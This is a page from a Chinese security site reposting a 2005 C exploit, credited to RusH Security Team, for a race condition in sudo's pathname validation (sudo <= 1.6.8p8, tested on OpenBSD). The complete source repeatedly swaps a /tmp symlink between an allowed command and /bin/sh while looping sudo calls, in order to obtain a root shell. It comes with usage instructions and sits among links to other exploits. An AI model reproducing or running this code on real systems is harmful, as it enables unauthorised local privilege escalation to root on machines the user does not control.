首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sudo <= 1.6.8p8 Pathname Validation Local Code Execution Exploit
来源:http://rst.void.ru 作者:__blf 发布时间:2005-07-05  

Sudo <= 1.6.8p8 Pathname Validation Local Code Execution Exploit

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysexits.h>
#include <sys/wait.h>

#define SUDO "/usr/bin/sudo"
#ifdef BUFSIZ
#undef BUFSIZ
#define BUFSIZ 128
#endif

/*
ANY MODIFIED REPUBLISHING IS RESTRICTED
OpenBSD sudo 1.3.1 - 1.6.8p local root exploit
Tested under OpenBSD 3.6 sudo 1.6.7p5
Vuln by OpenBSD errata, http://www.openbsd.org/errata.html
(c)oded by __blf 2005 RusH Security Team, http://rst.void.ru
Race condition in path name, can take a while to exploit
Gr33tz: x97Rang, whice, rsh, MishaSt, Inck-Vizitor, BlackPrince
Fck lamerz: Saint_I, nmalykh
All rights reserved.
ANY MODIFIED REPUBLISHING IS RESTRICTED
*/

int main (int argc, char ** argv)
{
pid_t pid;
void * buffer;
char * exec, * race, * path;
if(argc != 3)
{
fprintf(stderr, "r57sudo.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <sudo full path command> <sudo command>\n",
argv[0]);
fprintf(stderr, "e.g. ./r57sudo /bin/ls ls\n");
return EX_USAGE;
}
pid = fork();
if(pid == 0)
{
while(1)
{
exec = (char *)calloc(BUFSIZ, sizeof(char));
race = (char *)calloc(BUFSIZ, sizeof(char));
bzero(exec, sizeof(exec));
snprintf(exec, BUFSIZ, "ln -fs %s /tmp/%s", argv[1], argv[2]);
system((char *)exec);
bzero(race, sizeof(race));
snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);
system((char *)race);
bzero(race, sizeof(race));
snprintf(race, BUFSIZ, "ln -fs /bin/sh /tmp/%s", argv[2]);
system((char *)race);
bzero(race, sizeof(race));
snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);
system((char *)race);
}
}
if(pid > 0)
{
while(1)
{
path = (char *)calloc(BUFSIZ/2, sizeof(char));
snprintf(path, BUFSIZ/2, "%s /tmp/%s", SUDO, argv[2]);
system((char *)path);
}
}
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpBB <= 2.0.15 Remote SQL
·Mozilla FireFox <= 1.0.1 GI
·Xoops <= 2.0.11 XMLRPC Modu
·Internet Download Manager URL
·Pear XML-RPC Library 1.3.0 Rem
·TCP Chat(TCPX) DoS
·WordPress 1.5.1.2 XMLRPC Modul
·Drupal Code Injection
·phpBB 2.0.15 viewtopic.php Rem
·Mozilla Firefox and Suite setW
·Windows SMB客户端Transaction响
·Mozilla Firefox <= 1.0.4 Se
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved